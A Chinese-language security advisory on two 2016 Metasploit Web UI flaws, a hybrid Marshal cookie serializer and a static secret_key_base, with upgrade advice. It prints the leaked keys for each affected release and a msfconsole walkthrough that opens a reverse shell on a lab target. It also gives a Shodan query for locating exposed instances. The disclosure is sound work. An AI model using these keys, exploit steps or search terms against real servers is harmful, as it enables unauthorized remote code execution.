就在本周,Rapid7社区发布两个关于Metasploit框架的安全补丁,通过这两个漏洞,攻击者可以远程非授权执行任意代码。目前,安全研究人员已经发放出相关POC攻击代码。
漏洞一:Metasploit Web UI相关文件中的config.action_dispatch.cookies_serializer设置为:hybrid漏洞信息OVE ID: OVE-20160904-0001 私有披露日期: 2016-09-04 公开披露日期: 2016-09-19 厂商公告 : https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401 影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001 漏洞描述Metasploit作为一个安全测试框架,里面集成了非常多的功能,比如msfconsole,msfvenom等,并且也提供了非常多的接口和界面,比如shell接口,Windows GUI页面,WEB UI页面等等。而这次的问题主要是出在WEB接口上。MSF Community, Express 和 Pro 版本的 Web UI在4.12.0-2016061501至4.12.0-2016083001版本中的config.action_dispatch.cookies_serializer 值设置为 :hybrid,并且引入了hybrid cookie序列化,这将允许反序列化JSON和Marshal序列化的cookies。直到Metasploit 4.12.0-2016091401,才将其值设置为:json。也就是说,只要cookie序列化设置为Marshal或hybird时,并且攻击者知道cookie signing key的值,那么攻击者就可以构造cookie,触发Marshal反序列化,实现任意代码执行。 参考[0] http://blog.bigbinary.com/2014/12/23/migrating-existing-session-cookies-while-upgrading-to-rails-4-1-and-above.html [1] https://www.rapid7.com/db/modules/exploit/multi/http/rails_secret_deserialization 漏洞二:Metasploit本周发布了静态的secret_key_base,这个将会导致远程命令执行代码漏洞信息OVE ID: OVE-20160904-0002 私有披露日期: 2016-09-04 公开披露日期: 2016-09-19 厂商公告 :https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401 影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001 漏洞描述通过第一个漏洞,我们已经可以确定cookie序列化设置为hybird,但是攻击者还必须知道cookie signing key的值才可以构造cookie,实现远程代码执行。非常不幸的是,MSF WEB UI中的secret_key_base是静态的,并且该值是公开的。以下是目前已知受影响的MSF的值: 4.12.0-2016061501版本:d25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7 4.12.0-2016062101版本:99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc 4.12.0-2016072501版本:446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde 4.12.0-2016081001版本:61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a 4.12.0-2016081201版本:23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32 4.12.0-2016083001版本:18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615 其它版本:b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c
目前这个漏洞的利用脚本已经公开到MSF上,模块位置是exploit/multi/http/metasploit_static_secret_key_base。大家可以更新自己的MSF使用此脚本,或者去GitHub上下载。 下载地址:https://github.com/justinsteven/metasploit-framework/blob/a1ca27d49152ee839fca6e848ed7a420504f3af6/modules/exploits/multi/http/metasploit_static_secret_key_base.rb 使用方法:
msf exploit(metasploit_static_secret_key_base) > info Name: Metasploit Web UI Static secret_key_base Value Module: exploit/multi/http/metasploit_static_secret_key_base Platform: Ruby Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2016-09-15 Provided by: Justin Steven joernchen of Phenoelit <joernchen@phenoelit.de> Available targets: Id Name -- ---- 0 Metasploit 4.12.0-2016061501 to 4.12.0-2016083001 Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOST yes The target address RPORT 3790 yes The target port SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI / yes The path to the Metasploit Web UI VHOST no HTTP server virtual host Payload information: Description: This module exploits the Web UI for Metasploit Community, Express and Pro where one of a certain set of Weekly Releases have been applied. These Weekly Releases introduced a static secret_key_base value. Knowledge of the static secret_key_base value allows for deserialization of a crafted Ruby Object, achieving code execution. This module is based on exploits/multi/http/rails_secret_deserialization References: OVE (20160904-0002) https://community.rapid7.com/com ... oit-4120-2016091401 msf exploit(metasploit_static_secret_key_base) > set RHOST 172.18.0.2 RHOST => 172.18.0.2 msf exploit(metasploit_static_secret_key_base) > set PAYLOAD ruby/shell_reverse_tcp PAYLOAD => ruby/shell_reverse_tcp msf exploit(metasploit_static_secret_key_base) > set LHOST 172.18.0.1 LHOST => 172.18.0.1 msf exploit(metasploit_static_secret_key_base) > set LPORT 4444 LPORT => 4444 msf exploit(metasploit_static_secret_key_base) > exploit Started reverse TCP handler on 172.18.0.1:4444
Checking for cookie _ui_session
Searching for proper SECRET
Sending cookie _ui_session
Command shell session 1 opened (172.18.0.1:4444 -> 172.18.0.2:47590) at 2016-09-19 19:26:30 +1000
id uid=1(daemon) gid=1(daemon) groups=1(daemon) exit ^C Abort session 1? [y/N] y 172.18.0.2 - Command shell session 1 closed. Reason: User exit
Rapid7 在 etasploit 4.12.0-2016091401版本中修复了这个问题,将会检测secret_key_base的值是否是默认值,如果是,将重新生成,因此用户要尽快升级到Metasploit 4.12.0-2016091401或以上版本。 参考[0] https://github.com/rapid7/metasploit-framework/pull/7304 [1] https://github.com/rapid7/metasploit-framework/pull/7341 总结该漏洞在国内影响或许有些广泛,其主要原因是国内大部分宽带的IP要么是在内网,要么是动态的,并且还有GFW对众多域名和IP的拦截。复杂的网络环境导致大部分黑客会将MSF架设在境外的VPS或者私人服务器上,并且开启WEB GUI接口,以便随时对MSF进行控制和访问。换句话来说,国内有很多安全研究人员的MSF都处在公网IP。实际上该漏洞很早之前就爆料出来,只是 目前通过shodan搜索关键字title:”metasploit is initializing”,我们可以发现大部分公网中的MSF处在美国的服务器上。
梳理了一下这两个漏洞,漏洞的理由流程是 1. 通过漏洞二获取静态的secret_key_base 2. 通过漏洞一构造cookie 3. Marshal反序列化,实现任意代码执行
话说这个漏洞很早就已经爆料出来了,并且想不通metasploit为什么会犯这种低级错误,难道是背后有更多的“故事”? 不过说实话,这个漏洞的理由条件还是非常的苛刻。 1. 对方必须开机MSF WEB GUI接口 2. 对方的MSF版本必须在4.12.0-2016061501至4.12.0-2016083001 3. 对方的MSF需要处于在公网上,或者攻击者可以访问对方MSF WEB GUI的接口
|